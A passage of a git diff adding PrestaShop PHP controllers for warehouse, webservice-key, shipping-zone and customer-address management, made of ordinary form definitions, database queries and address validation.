'employee' => array( + 'title' => $this->l('Manager'), + 'width' => 200, + 'filter_key' => 'employee', + 'havingFilter' => true + ), + 'location' => array( + 'title' => $this->l('Location'), + 'width' => 200, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + 'contact' => array( + 'title' => $this->l('Phone Number'), + 'width' => 200, + 'orderby' => false, + 'filter' => false, + 'search' => false, + ), + ); + + parent::__construct(); + } + + /** + * AdminController::renderList() override + * @see AdminController::renderList() + */ + public function renderList() + { + // removes links on rows + $this->list_no_link = true; + + // adds actions on rows + $this->addRowAction('edit'); + $this->addRowAction('view'); + $this->addRowAction('delete'); + + // query: select + $this->_select = ' + reference, + name, + management_type, + CONCAT(e.lastname, \' \', e.firstname) as employee, + ad.phone as contact, + CONCAT(ad.city, \' - \', c.iso_code) as location'; + + // query: join + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'employee` e ON (e.id_employee = a.id_employee) + LEFT JOIN `'._DB_PREFIX_.'address` ad ON (ad.id_address = a.id_address) + LEFT JOIN `'._DB_PREFIX_.'country` c ON (c.id_country = ad.id_country)'; + + // display help informations + $this->displayInformation($this->l('This interface allows you to manage your warehouses.').'
'); + $this->displayInformation($this->l('Before adding stock in your warehouses, you should check the default currency used.').'
'); + $this->displayInformation($this->l('You should also check:')); + $this->displayInformation($this->l('the management type (according to the law in your country), the valuation currency and its associated carriers and shops.').'
'); + $this->displayInformation($this->l('You can also see detailed information about your stock, such as its overall value, the number of products and quantities stored, etc...') + .'

'); + $this->displayInformation($this->l('Be careful! Products from different warehouses will need to be shipped in different packages.')); + + return parent::renderList(); + } + + /** + * AdminController::renderForm() override + * @see AdminController::renderForm() + */ + public function renderForm() + { + // loads current warehouse + if (!($obj = $this->loadObject(true))) + return; + + // gets the manager of the warehouse + $query = new DbQuery(); + $query->select('id_employee, CONCAT(lastname," ",firstname) as name'); + $query->from('employee'); + $query->where('active = 1'); + $employees_array = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + // sets the title of the toolbar + if (Tools::isSubmit('add'.$this->table)) + $this->toolbar_title = $this->l('Stock: Create a warehouse'); + else + $this->toolbar_title = $this->l('Stock: Warehouse management'); + + // sets the fields of the form + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Warehouse information'), + 'image' => '../img/admin/edit.gif' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'id_address', + ), + array( + 'type' => 'text', + 'label' => $this->l('Reference:'), + 'name' => 'reference', + 'size' => 30, + 'maxlength' => 32, + 'required' => true, + 'desc' => $this->l('Reference for this warehouse'), + ), + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 40, + 'maxlength' => 45, + 'required' => true, + 'desc' => $this->l('Name of this warehouse'), + 'hint' => $this->l('Invalid characters:').' !<>,;?=+()@#"�{}_$%:', + ), + array( + 'type' => 'text', + 'label' => $this->l('Phone:'), + 'name' => 'phone', + 'size' => 15, + 'maxlength' => 16, + 'desc' => $this->l('Phone number for this warehouse') + ), + array( + 'type' => 'text', + 'label' => $this->l('Address:'), + 'name' => 'address', + 'size' => 100, + 'maxlength' => 128, + 'required' => true + ), + array( + 'type' => 'text', + 'label' => $this->l('Address:').' (2)', + 'name' => 'address2', + 'size' => 100, + 'maxlength' => 128, + 'desc' => $this->l('Address of this warehouse (complementary address is optional).'), + ), + array( + 'type' => 'text', + 'label' => $this->l('Postcode/Zip Code:'), + 'name' => 'postcode', + 'size' => 10, + 'maxlength' => 12, + 'required' => true, + ), + array( + 'type' => 'text', + 'label' => $this->l('City:'), + 'name' => 'city', + 'size' => 20, + 'maxlength' => 32, + 'required' => true, + ), + array( + 'type' => 'select', + 'label' => $this->l('Country:'), + 'name' => 'id_country', + 'required' => true, + 'default_value' => (int)$this->context->country->id, + 'options' => array( + 'query' => Country::getCountries($this->context->language->id, false), + 'id' => 'id_country', + 'name' => 'name', + ), + 'desc' => $this->l('Warehouse location country') + ), + array( + 'type' => 'select', + 'label' => $this->l('State:'), + 'name' => 'id_state', + 'required' => true, + 'options' => array( + 'query' => array(), + 'id' => 'id_state', + 'name' => 'name' + ) + ), + array( + 'type' => 'select', + 'label' => $this->l('Manager:'), + 'name' => 'id_employee', + 'required' => true, + 'options' => array( + 'query' => $employees_array, + 'id' => 'id_employee', + 'name' => 'name' + ), + ), + array( + 'type' => 'select', + 'label' => $this->l('Carriers:'), + 'name' => 'ids_carriers[]', + 'required' => false, + 'multiple' => true, + 'options' => array( + 'query' => Carrier::getCarriers($this->context->language->id, false, false, false, null, Carrier::ALL_CARRIERS), + 'id' => 'id_reference', + 'name' => 'name' + ), + 'desc' => $this->l('Associated carriers. Use CTRL+CLICK to select several.').'
'.$this->l('You must select at least one carrier, if you do not select a carrier none will be able to ship from this warehouse.'), + 'hint' => $this->l('You can specify the number of carriers available to ship orders from particular warehouses.'), + ), + ), + + ); + + // Shop Association + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shops:'), + 'name' => 'checkBoxShopAsso', + 'desc' => $this->l('Associated shops'), + 'disable_shared' => Shop::SHARE_STOCK + ); + } + + // if it is still possible to change currency valuation and management type + if (Tools::isSubmit('addwarehouse') || Tools::isSubmit('submitAddwarehouse')) + { + // adds input management type + $this->fields_form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('Management type:'), + 'hint' => $this->l('Be careful! You won\'t be able to change this value later!'), + 'name' => 'management_type', + 'required' => true, + 'options' => array( + 'query' => array( + array( + 'id' => 'WA', + 'name' => $this->l('Average Weight') + ), + array( + 'id' => 'FIFO', + 'name' => $this->l('First In, First Out') + ), + array( + 'id' => 'LIFO', + 'name' => $this->l('Last In, First Out') + ), + ), + 'id' => 'id', + 'name' => 'name' + ), + 'desc' => $this->l('Inventory valuation method') + ); + + // adds input valuation currency + $this->fields_form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('Stock valuation currency:'), + 'hint' => $this->l('Be careful! You won\'t be able to change this value later!'), + 'name' => 'id_currency', + 'required' => true, + 'options' => array( + 'query' => Currency::getCurrencies(), + 'id' => 'id_currency', + 'name' => 'name' + ) + ); + } + else // else hide input + { + $this->fields_form['input'][] = array( + 'type' => 'hidden', + 'name' => 'management_type' + ); + + $this->fields_form['input'][] = array( + 'type' => 'hidden', + 'name' => 'id_currency' + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save'), + 'class' => 'button' + ); + + $address = null; + // loads current address for this warehouse - if possible + if ($obj->id_address > 0) + $address = new Address($obj->id_address); + + // loads current shops associated with this warehouse + $shops = $obj->getShops(); + $ids_shop = array(); + foreach ($shops as $shop) + $ids_shop[] = $shop['id_shop']; + + // loads current carriers associated with this warehouse + $carriers = $obj->getCarriers(true); + + // if an address is available : force specific fields values + if ($address != null) + $this->fields_value = array( + 'id_address' => $address->id, + 'phone' => $address->phone, + 'address' => $address->address1, + 'address2' => $address->address2, + 'postcode' => $address->postcode, + 'city' => $address->city, + 'id_country' => $address->id_country, + 'id_state' => $address->id_state, + ); + else // loads default country + $this->fields_value = array( + 'id_address' => 0, + 'id_country' => Configuration::get('PS_COUNTRY_DEFAULT') + ); + + // loads shops and carriers + $this->fields_value['ids_shops[]'] = $ids_shop; + $this->fields_value['ids_carriers[]'] = $carriers; + + if (!Validate::isLoadedObject($obj)) + $this->fields_value['id_currency'] = (int)Configuration::get('PS_CURRENCY_DEFAULT'); + + return parent::renderForm(); + } + + /** + * @see AdminController::renderView() + */ + public function renderView() + { + // gets necessary objects + $id_warehouse = (int)Tools::getValue('id_warehouse'); + $warehouse = new Warehouse($id_warehouse); + $employee = new Employee($warehouse->id_employee); + $currency = new Currency($warehouse->id_currency); + $address = new Address($warehouse->id_address); + $shops = $warehouse->getShops(); + + // checks objects + if (!Validate::isLoadedObject($warehouse) || + !Validate::isLoadedObject($employee) || + !Validate::isLoadedObject($currency) || + !Validate::isLoadedObject($address)) + return parent::renderView(); + + // assigns to our view + $this->tpl_view_vars = array( + 'warehouse' => $warehouse, + 'employee' => $employee, + 'currency' => $currency, + 'address' => $address, + 'shops' => $shops, + 'warehouse_num_products' => $warehouse->getNumberOfProducts(), + 'warehouse_value' => Tools::displayPrice(Tools::ps_round($warehouse->getStockValue(), 2), $currency), + 'warehouse_quantities' => $warehouse->getQuantitiesofProducts(), + ); + + return parent::renderView(); + } + + /** + * @see AdminController::afterAdd() + * Called once $object is set. + * Used to process the associations with address/shops/carriers + */ + protected function afterAdd($object) + { + // handles address association + $address = new Address($object->id_address); + if (Validate::isLoadedObject($address)) + { + $address->id_warehouse = $object->id_address; + $address->save(); + } + + // handles carriers associations + if (Tools::isSubmit('ids_carriers')) + $object->setCarriers(Tools::getValue('ids_carriers')); + + return true; + } + + /** + * AdminController::getList() override + * @see AdminController::getList() + */ + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + + // foreach item in the list to render + $nb_items = count($this->_list); + for ($i = 0; $i < $nb_items; ++$i) + { + // depending on the management type, translates the management type + $item = &$this->_list[$i]; + switch ($item['management_type']) // management type can be either WA/FIFO/LIFO + { + case 'WA': + $item['management_type'] = $this->l('WA'); + break; + + case 'FIFO': + $item['management_type'] = $this->l('FIFO'); + break; + + case 'LIFO': + $item['management_type'] = $this->l('LIFO'); + break; + } + } + } + + public function initContent() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initContent(); + } + + public function initProcess() + { + if (!Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + $this->warnings[md5('PS_ADVANCED_STOCK_MANAGEMENT')] = $this->l('You need to activate advanced stock management before using this feature.'); + return false; + } + parent::initProcess(); + } + + /** + * @see AdminController::processAdd(); + */ + public function processAdd() + { + if (Tools::isSubmit('submitAdd'.$this->table)) + { + if (!($obj = $this->loadObject(true))) + return; + + $this->updateAddress(); + + // hack for enable the possibility to update a warehouse without recreate new id + $this->deleted = false; + + return parent::processAdd(); + } + } + + protected function updateAddress() + { + // updates/creates address if it does not exist + if (Tools::isSubmit('id_address') && (int)Tools::getValue('id_address') > 0) + $address = new Address((int)Tools::getValue('id_address')); // updates address + else + $address = new Address(); // creates address + // sets the address + $address->alias = Tools::getValue('reference', null); + $address->lastname = 'warehouse'; // skip problem with numeric characters in warehouse name + $address->firstname = 'warehouse'; // skip problem with numeric characters in warehouse name + $address->address1 = Tools::getValue('address', null); + $address->address2 = Tools::getValue('address2', null); + $address->postcode = Tools::getValue('postcode', null); + $address->phone = Tools::getValue('phone', null); + $address->id_country = Tools::getValue('id_country', null); + $address->id_state = Tools::getValue('id_state', null); + $address->city = Tools::getValue('city', null); + + // validates the address + $validation = $address->validateController(); + + // checks address validity + if (count($validation) > 0) // if not valid + { + foreach ($validation as $item) + $this->errors[] = $item; + $this->errors[] = Tools::displayError('The address is not correct. Please make sure all of the required fields are completed.'); + } + else // valid + { + if (Tools::isSubmit('id_address') && Tools::getValue('id_address') > 0) + $address->update(); + else + { + $address->save(); + $_POST['id_address'] = $address->id; + } + } + } + + /** + * @see AdminController::processDelete(); + */ + public function processDelete() + { + if (Tools::isSubmit('delete'.$this->table)) + { + // check if the warehouse exists and can be deleted + if (!($obj = $this->loadObject(true))) + return; + else if ($obj->getQuantitiesOfProducts() > 0) // not possible : products + $this->errors[] = $this->l('It is not possible to delete a warehouse when there are products in it.'); + else if (SupplyOrder::warehouseHasPendingOrders($obj->id)) // not possible : supply orders + $this->errors[] = $this->l('It is not possible to delete a Warehouse if it has pending supply orders.'); + else // else, it can be deleted + { + // sets the address of the warehouse as deleted + $address = new Address($obj->id_address); + $address->deleted = 1; + $address->save(); + + // removes associations with carriers/shops/products location + $obj->setCarriers(array()); + $obj->resetProductsLocations(); + + return parent::processDelete(); + } + } + } + + /** + * @see AdminController::processUpdate(); + */ + public function processUpdate() + { + // loads object + if (!($obj = $this->loadObject(true))) + return; + $this->updateAddress(); + // handles carriers associations + $obj->setCarriers(Tools::getValue('ids_carriers'), array()); + + return parent::processUpdate(); + } + + protected function updateAssoShop($id_object) + { + parent::updateAssoShop($id_object); + if (!($obj = $this->loadObject(true))) + return; + $obj->resetStockAvailable(); + } + +} diff --git a/controllers/admin/AdminWebserviceController.php b/controllers/admin/AdminWebserviceController.php new file mode 100755 index 0000000..0f58c68 --- /dev/null +++ b/controllers/admin/AdminWebserviceController.php @@ -0,0 +1,271 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminWebserviceControllerCore extends AdminController +{ + /** this will be filled later */ + public $fields_form = array('webservice form'); + protected $toolbar_scroll = false; + + public function __construct() + { + $this->table = 'webservice_account'; + $this->className = 'WebserviceKey'; + $this->lang = false; + $this->edit = true; + $this->delete = true; + $this->id_lang_default = Configuration::get('PS_LANG_DEFAULT'); + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')) + ); + + $this->fields_list = array( + 'key' => array( + 'title' => $this->l('Key'), + 'align' => 'center', + 'width' => 32 + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false, + 'width' => 32 + ), + 'description' => array( + 'title' => $this->l('Key description'), + 'align' => 'left', + 'orderby' => false + ) + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Configuration'), + 'fields' => array( + 'PS_WEBSERVICE' => array('title' => $this->l('Enable PrestaShop\'s webservice'), + 'desc' => $this->l('Before activating the webservice, you must be sure to: '). + '
    +
  1. '.$this->l('Check that URL rewriting is available on this server').'
  2. +
  3. '.$this->l('Check that the five methods GET, POST, PUT, DELETE and HEAD are supported by this server.').'
  4. +
', + 'cast' => 'intval', + 'type' => 'bool'), + 'PS_WEBSERVICE_CGI_HOST' => array( + 'title' => $this->l('Active mode CGI for PHP'), + 'desc' => $this->l('Be sure PHP is not configured as an Apache module on your server.'), + 'cast' => 'intval', + 'type' => 'bool' + ), + ), + 'submit' => array() + ), + ); + + parent::__construct(); + } + + protected function processUpdateOptions() + { + parent::processUpdateOptions(); + Tools::generateHtaccess(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Webservice Accounts:'), + 'image' => '../img/admin/access.png' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Key:'), + 'name' => 'key', + 'id' => 'code', + 'size' => 32, + 'required' => true, + 'desc' => $this->l('Webservice account key.'), + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Key description:'), + 'name' => 'description', + 'rows' => 3, + 'cols' => 110, + 'desc' => $this->l('Key description'), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ), + array( + 'type' => 'resources', + 'label' => $this->l('Permissions:'), + 'name' => 'resources', + ) + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + if (!($obj = $this->loadObject(true))) + return; + + $ressources = WebserviceRequest::getResources(); + $permissions = WebserviceKey::getPermissionForAccount($obj->key); + + $this->tpl_form_vars = array( + 'ressources' => $ressources, + 'permissions' => $permissions + ); + + return parent::renderForm(); + } + + public function initContent() + { + if ($this->display != 'add' && $this->display != 'edit') + $this->checkForWarning(); + + parent::initContent(); + } + + /** + * Function used to render the options for this controller + */ + public function renderOptions() + { + if ($this->fields_options && is_array($this->fields_options)) + { + $helper = new HelperOptions($this); + $this->setHelperDisplay($helper); + $helper->toolbar_scroll = true; + $helper->toolbar_btn = array('save' => array( + 'href' => '#', + 'desc' => $this->l('Save') + )); + $helper->id = $this->id; + $helper->tpl_vars = $this->tpl_option_vars; + $options = $helper->generateOptions($this->fields_options); + + return $options; + } + } + + public function initProcess() + { + parent::initProcess(); + // This is a composite page, we don't want the "options" display mode + if ($this->display == 'options') + $this->display = ''; + } + + public function postProcess() + { + if (Tools::getValue('key') && strlen(Tools::getValue('key')) < 32) + $this->errors[] = Tools::displayError($this->l('Key length must be 32 character long.')); + if (WebserviceKey::keyExists(Tools::getValue('key')) && !Tools::getValue('id_webservice_account')) + $this->errors[] = Tools::displayError($this->l('This key already exists.')); + return parent::postProcess(); + } + + protected function afterAdd($object) + { + Tools::generateHtaccess(); + WebserviceKey::setPermissionForAccount($object->id, Tools::getValue('resources', array())); + } + + protected function afterUpdate($object) + { + Tools::generateHtaccess(); + WebserviceKey::setPermissionForAccount($object->id, Tools::getValue('resources', array())); + } + + public function checkForWarning() + { + if (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') === false) + { + $this->warnings[] = $this->l('To avoid operating problems, please use an Apache server.'); + if (function_exists('apache_get_modules')) + { + $apache_modules = apache_get_modules(); + if (!in_array('mod_auth_basic', $apache_modules)) + $this->warnings[] = $this->l('Please activate the Apache module \'mod_auth_basic\' to allow authentication of PrestaShop\'s webservice.'); + if (!in_array('mod_rewrite', $apache_modules)) + $this->warnings[] = $this->l('Please activate the Apache module \'mod_rewrite\' to allow the PrestaShop webservice.'); + } + else + $this->warnings[] = $this->l('We could not check to see if basic authentication and rewrite extensions have been activated. Please manually check if they\'ve been activated in order to use the PrestaShop webservice.'); + } + if (!extension_loaded('SimpleXML')) + $this->warnings[] = $this->l('Please activate the PHP extension \'SimpleXML\' to allow testing of PrestaShop\'s webservice.'); + if (!configuration::get('PS_SSL_ENABLED')) + $this->warnings[] = $this->l('It is preferable to use SSL (https:) for webservice calls, as it avoids the "man in the middle" type security issues. '); + + foreach ($this->_list as $k => $item) + if ($item['is_module'] && $item['class_name'] && $item['module_name'] && + ($instance = Module::getInstanceByName($item['module_name'])) && + !$instance->useNormalPermissionBehaviour()) + unset($this->_list[$k]); + + $this->renderList(); + } + +} diff --git a/controllers/admin/AdminZonesController.php b/controllers/admin/AdminZonesController.php new file mode 100755 index 0000000..2a8d8e9 --- /dev/null +++ b/controllers/admin/AdminZonesController.php @@ -0,0 +1,131 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminZonesControllerCore extends AdminController +{ + public $asso_type = 'shop'; + + public function __construct() + { + $this->table = 'zone'; + $this->className = 'Zone'; + $this->lang = false; + + $this->fields_list = array( + 'id_zone' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Zone'), + 'width' => 'auto' + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'width' => '70', + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false + ) + ); + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')) + ); + + parent::__construct(); + } + + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + return parent::renderList(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Zones'), + 'image' => '../img/admin/world.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 33, + 'required' => true, + 'desc' => $this->l('Zone name (e.g. Africa, West Coast, Neighboring Countries)'), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Active:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Allow or disallow shipping to this zone') + ) + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Group shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + return parent::renderForm(); + } +} + + diff --git a/controllers/admin/index.php b/controllers/admin/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/controllers/admin/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/controllers/front/AddressController.php b/controllers/front/AddressController.php new file mode 100755 index 0000000..7edca3d --- /dev/null +++ b/controllers/front/AddressController.php @@ -0,0 +1,388 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AddressControllerCore extends FrontController +{ + public $auth = true; + public $guestAllowed = true; + public $php_self = 'address'; + public $authRedirection = 'addresses'; + public $ssl = true; + + /** + * @var Address Current address + */ + protected $_address; + + /** + * Set default medias for this controller + */ + public function setMedia() + { + parent::setMedia(); + $this->addJS(_THEME_JS_DIR_.'tools/statesManagement.js'); + } + + /** + * Initialize address controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + // Get address ID + $id_address = 0; + if ($this->ajax && Tools::isSubmit('type')) + { + if (Tools::getValue('type') == 'delivery' && isset($this->context->cart->id_address_delivery)) + $id_address = (int)$this->context->cart->id_address_delivery; + else if (Tools::getValue('type') == 'invoice' && isset($this->context->cart->id_address_invoice) + && $this->context->cart->id_address_invoice != $this->context->cart->id_address_delivery) + $id_address = (int)$this->context->cart->id_address_invoice; + } + else + $id_address = (int)Tools::getValue('id_address', 0); + + // Initialize address + if ($id_address) + { + $this->_address = new Address($id_address); + if (Validate::isLoadedObject($this->_address) && Customer::customerHasAddress($this->context->customer->id, $id_address)) + { + if (Tools::isSubmit('delete')) + { + if ($this->_address->delete()) + { + if ($this->context->cart->id_address_invoice == $this->_address->id) + unset($this->context->cart->id_address_invoice); + if ($this->context->cart->id_address_delivery == $this->_address->id) + { + unset($this->context->cart->id_address_delivery); + $this->context->cart->updateAddressId($this->_address->id, (int)Address::getFirstCustomerAddressId(Context::getContext()->customer->id)); + } + Tools::redirect('index.php?controller=addresses'); + } + $this->errors[] = Tools::displayError('This address cannot be deleted.'); + } + } + elseif ($this->ajax) + exit; + else + Tools::redirect('index.php?controller=addresses'); + } + } + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + if (Tools::isSubmit('submitAddress')) + $this->processSubmitAddress(); + else if (!Validate::isLoadedObject($this->_address) && Validate::isLoadedObject($this->context->customer)) + { + $_POST['firstname'] = $this->context->customer->firstname; + $_POST['lastname'] = $this->context->customer->lastname; + $_POST['company'] = $this->context->customer->company; + } + } + + /** + * Process changes on an address + */ + protected function processSubmitAddress() + { + $address = new Address(); + $this->errors = $address->validateController(); + $address->id_customer = (int)$this->context->customer->id; + + // Check page token + if ($this->context->customer->isLogged() && !$this->isTokenValid()) + $this->errors[] = Tools::displayError('Invalid token.'); + + if (strlen($address->address1) < 4) { + $this->errors[] = Tools::displayError('adresse(1) invalide. 4 caractères minimum'); + } + + if (!empty($address->address2) && strlen($address->address2) < 4) { + $this->errors[] = Tools::displayError('adresse(2) invalide. 4 caractères minimum'); + } + + + // Check phone + if (Configuration::get('PS_ONE_PHONE_AT_LEAST') && !Tools::getValue('phone') && !Tools::getValue('phone_mobile')) + $this->errors[] = Tools::displayError('You must register at least one phone number.'); + if ($address->id_country) + { + // Check country + if (!($country = new Country($address->id_country)) || !Validate::isLoadedObject($country)) + throw new PrestaShopException('Country cannot be loaded with address->id_country'); + + if ((int)$country->contains_states && !(int)$address->id_state) + $this->errors[] = Tools::displayError('This country requires you to chose a State.'); + + // US customer: normalize the address + if ($address->id_country == Country::getByIso('US')) + { + include_once(_PS_TAASC_PATH_.'AddressStandardizationSolution.php'); + $normalize = new AddressStandardizationSolution; + $address->address1 = $normalize->AddressLineStandardization($address->address1); + $address->address2 = $normalize->AddressLineStandardization($address->address2); + } + + $postcode = Tools::getValue('postcode'); + /* Check zip code format */ + if ($country->zip_code_format && !$country->checkZipCode($postcode)) + $this->errors[] = sprintf(Tools::displayError('The Zip/Postal code you\'ve entered is invalid. It must follow this format: %s'), str_replace('C', $country->iso_code, str_replace('N', '0', str_replace('L', 'A', $country->zip_code_format)))); + elseif(empty($postcode) && $country->need_zip_code) + $this->errors[] = Tools::displayError('A Zip / Postal code is required.'); + elseif ($postcode && !Validate::isPostCode($postcode)) + $this->errors[] = Tools::displayError('The Zip / Postal code is invalid.'); + + // Check country DNI + if ($country->isNeedDni() && (!Tools::getValue('dni') || !Validate::isDniLite(Tools::getValue('dni')))) + $this->errors[] = Tools::displayError('The identification number is incorrect or has already been used.'); + else if (!$country->isNeedDni()) + $address->dni = null; + } + // Check if the alias exists + if (!$this->context->customer->is_guest && !empty($_POST['alias']) && (int)$this->context->customer->id > 0) + { + $id_address = Tools::getValue('id_address'); + if(Configuration::get('PS_ORDER_PROCESS_TYPE') && (int)Tools::getValue('opc_id_address_'.Tools::getValue('type')) > 0) + $id_address = Tools::getValue('opc_id_address_'.Tools::getValue('type')); + + if (Db::getInstance()->getValue(' + SELECT count(*) + FROM '._DB_PREFIX_.'address + WHERE `alias` = \''.pSql($_POST['alias']).'\' + AND id_address != '.(int)$id_address.' + AND id_customer = '.(int)$this->context->customer->id.' + AND deleted = 0') > 0) + $this->errors[] = sprintf(Tools::displayError('The alias "%s" has already been used. Please select another one.'), Tools::safeOutput($_POST['alias'])); + } + + // Check the requires fields which are settings in the BO + $this->errors = array_merge($this->errors, $address->validateFieldsRequiredDatabase()); + + // Don't continue this process if we have errors ! + if ($this->errors && !$this->ajax) + return; + + // If we edit this address, delete old address and create a new one + if (Validate::isLoadedObject($this->_address)) + { + if (Validate::isLoadedObject($country) && !$country->contains_states) + $address->id_state = 0; + $address_old = $this->_address; + if (Customer::customerHasAddress($this->context->customer->id, (int)$address_old->id)) + { + if ($address_old->isUsed()) + $address_old->delete(); + else + { + $address->id = (int)($address_old->id); + $address->date_add = $address_old->date_add; + } + } + } + + if ($this->ajax && Tools::getValue('type') == 'invoice' && Configuration::get('PS_ORDER_PROCESS_TYPE')) + { + $this->errors = array_unique(array_merge($this->errors, $address->validateController())); + if (count($this->errors)) + { + $return = array( + 'hasError' => (bool)$this->errors, + 'errors' => $this->errors + ); + die(Tools::jsonEncode($return)); + } + } + + // Save address + if ($result = $address->save()) + { + // Update id address of the current cart if necessary + if (isset($address_old) && $address_old->isUsed()) + $this->context->cart->updateAddressId($address_old->id, $address->id); + else // Update cart address + $this->context->cart->autosetProductAddress(); + + if ((bool)(Tools::getValue('select_address', false)) == true OR Tools::getValue('type') == 'invoice' && Configuration::get('PS_ORDER_PROCESS_TYPE')) + { + $this->context->cart->id_address_invoice = (int)$address->id; + $this->context->cart->update(); + } + + if ($this->ajax) + { + $return = array( + 'hasError' => (bool)$this->errors, + 'errors' => $this->errors, + 'id_address_delivery' => $this->context->cart->id_address_delivery, + 'id_address_invoice' => $this->context->cart->id_address_invoice + ); + die(Tools::jsonEncode($return)); + } + + // Redirect to old page or current page + if ($back = Tools::getValue('back')) + { + $mod = Tools::getValue('mod'); + Tools::redirect('index.php?controller='.$back.($mod ? '&back='.$mod : '')); + } + else + Tools::redirect('index.php?controller=addresses'); + } + $this->errors[] = Tools::displayError('An error occurred while updating your address.'); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->assignCountries(); + $this->assignVatNumber(); + $this->assignAddressFormat(); + + // Assign common vars + $this->context->smarty->assign(array( + 'one_phone_at_least' => (int)Configuration::get('PS_ONE_PHONE_AT_LEAST'), + 'onr_phone_at_least' => (int)Configuration::get('PS_ONE_PHONE_AT_LEAST'), //retro compat + 'ajaxurl' => _MODULE_DIR_, + 'errors' => $this->errors, + 'token' => Tools::getToken(false), + 'select_address' => (int)Tools::getValue('select_address'), + 'address' => $this->_address, + 'id_address' => (Validate::isLoadedObject($this->_address)) ? $this->_address->id : 0, + )); + + if ($back = Tools::getValue('back')) + $this->context->smarty->assign('back', Tools::safeOutput($back)); + if ($mod = Tools::getValue('mod')) + $this->context->smarty->assign('mod', Tools::safeOutput($mod)); + if (isset($this->context->cookie->account_created)) + { + $this->context->smarty->assign('account_created', 1); + unset($this->context->cookie->account_created); + } + + $this->setTemplate(_PS_THEME_DIR_.'address.tpl'); + } + + /** + * Assign template vars related to countries display + */ + protected function assignCountries() + { + // Get selected country + if (Tools::isSubmit('id_country') && !is_null(Tools::getValue('id_country')) && 